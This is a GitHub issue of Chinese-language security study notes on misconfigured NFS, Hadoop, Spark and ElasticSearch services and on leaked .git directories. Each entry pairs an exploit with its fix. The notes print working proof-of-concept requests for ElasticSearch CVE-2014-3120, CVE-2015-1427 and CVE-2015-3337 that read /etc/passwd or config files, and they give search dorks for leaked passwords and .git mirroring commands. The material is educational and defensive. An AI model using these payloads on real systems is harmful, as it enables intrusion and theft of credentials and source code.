Skip to content

Drops Wiki -- 服务配置(二) #81

@PyxYuYu

Description

@PyxYuYu

Laughter is an instant vacation.

0x01 Drops Wiki

  • 服务配置
    • 敏感系统或服务数据可被访问
    • NFS 安全配置(Network File System
      • 错误配置及利用
        • 未限制 NFS 可挂载的 IPIP段
          • 任何人都可以对输出的目录进行挂载,造成信息泄漏
        • 未对 NFS 的权限进行设置,任何人均可写
          • 可挂载的情况下,如果发布的文件为 Web 文件,可以直接写入 webshell
      • 修复方案
        • /etc/exports 中限制可以挂载的 IPIP段
        • 修正错误开放的可写权限
      • 漏洞扫描与发现
        • nmap 扫描 TCP 2049 端口,然后试用 showmount -e ip 进行权限查看
           nmap -Pn -p2049 -sV --open ip
           showmount -e ip
    • Hadoop 安全配置
      • 错误配置及利用
        • WebUI 敏感信息泄漏
          • Hadoop 默认情况开放了很多端口提供 WebUI,如果布置在外网,多多少少会泄漏一些信息
            • HDFSGoogle File System(GFS) 的开源实现,为数据提供存储)
              • NameNode 默认端口 50070
                • nmap --script=hadoop-namenode-info.nse X.X.X.X -p 50070
                • 通过访问 NameNode WebUI 管理界面 50070 端口,可以下载任意文件
              • SecondNameNode 默认端口 50090
              • DataNode 默认端口 50075
                • 50075 端口默认开放的话,攻击者可以通过 HDFS 提供的 RESTFUL APIHDFS 存储数据进行操作
              • Backup/Checkpoint Node 默认端口 50105
            • MapReduce (一种编程模型,为大规模数据集(大于1TB)提供运算)
              • JobTracker 默认端口 50030
              • TaskTracker 默认端口 50060
        • MapReduce 代码执行漏洞
        • Hadoop 第三方插件安全漏洞
        • Hive 任意命令/代码执行漏洞
          • Hive 是建立在 Hadoop 上的数据仓库基础架构,它提供了一系列工具,可以用来进行数据提取转化加载(ETL),这是一种可以存储、查询和分析存储在 Hadoop 中的大规模数据的机制,Hive 定义了简单的类 SQL 查询语言,称为 HQL,它允许熟悉 SQL 的用户查询数据,同时,这个语言也允许熟习 MapReduce 开发者的开发自定义的 mapperreducer 来处理内建的 mapperreducer 无法完成的复杂的分析工作
          • HQL 可以通过 transform 自定义 Hive 使用的 Map/Reduce 脚本,从而调用 shell/python 等语言,导致攻击者可以通过 Hive 接口等相关操作方式直接获取服务器权限
        • Spark 6066 7077 端口也存在类似的安全问题,默认情况下可以推送 jar 包执行,如果权限足够大可以实现植入 SSH 公钥
      • 修复方案
        • 网络访问控制
          • 使用 安全组防火墙本地操作系统防火墙访问源IP 进行控制,如果仅对内网服务器提供服务,建议禁止将 Hadoop 服务所有端口发布到互联网上
        • 启用认证功能
          • 启用 herberos 认证功能
        • 更新补丁
        • 敏感页面以及目录最好也不要对普通用户开发,可 Nginx 反向代理、Iptables 解决
          • jmx/logs/cluster/status.jsp/
        • Hadoop 集群单独部署,做好安全监控发现被攻击迹象及时报警
    • ElasticSearch 安全配置
      • 错误配置及利用
        • ElasticSearch 远程命令执行(CVE-2014-3120
          • ElastciSearch 有脚本执行(scripting)的功能,可以很方便的对查询出来的数据再加工,ElasticSearch 用的脚本引擎是 MVEL,这个引擎没有做任何的防护,或沙盒包装,所以直接可以执行任意代码
          • ElasticSearch 1.2 之前的版本中,默认配置是打开动态脚本功能的,如果用户没有更改默认配置文件,攻击者可以直接通过 http 请求执行任意代码
          • 测试 POC
             http://127.0.0.1:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111107529820275958627_1400564696673&_=1400564696674
          • 修复方法
            • 升级 ElasticSearch 为最新版本
            • 在配置文件 elasticsearch.yml 里为每个节点都加上:
              • script.disable_dynamic: true
        • ElasticSearch Groovy 命令执行漏洞(CVE-2015-1427
          • 该漏洞主要存在于 ElasticSearch 1.3.0-1.3.71.4.0-1.4.2ElasticSearch 在比较新的版本中对脚本语言引擎使用了 Groovy,并且加入了沙盒进行控制,危险代码会被拦截掉,由于沙盒限制不严格,导致漏洞的产生
          • 测试 POC :
             POST http://127.0.0.1:9200/_search?pretty 
             {"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}
          • 修复方法
            • 升级 ElasticSearch 为最新版本
            • 在配置文件 elasticsearch.yml里为每个节点都加上:
              • script.groovy.sandbox.enabled: true
        • ElasticSearch 任意文件读取漏洞(CVE-2015-3337
          • 测试 POC
             curl http://127.0.0.1:9200/_plugin/head/../../config/elasticsearch.yml 注意curl版本
             curl http://127.0.0.1:9200/_plugin/插件名称如head/../../xx文件
          • 修复方法
            • 升级 ElasticSearch 为最新版本
        • ElasticSearch 数据库配置文件读取问题
          • 测试 POC
             http://localhost:9200/_river/search
             exp-db: CVE-2015-3337
          
          • 修复方法
            • 安装 ElasticSearch 官方的 Shield
            • 添加 Iptables 规则
            • 设置 elasticsearch.yml 文件中的 network.bind_host: 内网ip,仅允许内网访问
    • 配置产生漏洞
    • HTTP Server
      • 文件泄漏
        • Github 导致文件泄漏
          • Github 中被泄漏的敏感信息包括以下几类
            • 邮箱信息
            • SVN 信息
            • 内部帐号及密码
            • 数据库连接信息
            • 服务器配置信息
          • 这些敏感信息有的只是导致一些无法被外网连接的内网账户信息或者数据库连接信息泄漏,但是也可能会导致公司重要的商业秘密或程序源代码被他人窃取,管理员账户被控制或数据库泄漏等,造成巨大的损失
          • 漏洞检测及利用
            • 使用搜索引擎搜索语法便可快速从 Github 上找到需要的信息以下示例
               Google hack:
               site:Github.com smtp
               site:Github.com sa password
               site:Github.com root password
               site:Github.com User ID='sa';Password
               site:Github.com svn
               site:Github.com ftp
            
            • 也可以使用 Github 敏感信息收集工具
              • Gitrob
              • Weakfilescan
              • GitPrey
              • GitMiner
              • GitHack
          • 漏洞修复
            • 将源码上传至 Github 公开仓库前注意对敏感信息打码或者删除
        • Git 导致文件泄漏
          • 漏洞成因
            • 在运行 git init 初始化代码库的时候,会在当前目录下面产生一个 .git 的隐藏文件,用来记录代码的变更记录等等,在发布代码的时候,把 .git 这个目录没有删除,直接发布了,攻击者使用这个文件,就可以用来恢复源代码
          • 漏洞检测及利用
            • 手工搜索
              • Google 搜索
                 ".git" intitle:"index of"
              
              • 下载 .git 文件
                 wget --mirror --include-directories=/.git http://www.target.com/.git
                 cd www.target.com
              
              • 代码重构
                 git reset --hard
              
            • 工具恢复
              • dvcs-ripper
                • 使用方法
                   Example: ./rip-git.pl -v -u http://www.example.com/.git/ 
                   Example: ./rip-git.pl # with url and options in /root/.rip-git 
                
              • GitHack
          • 漏洞修复
            • 删除 .git 文件

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions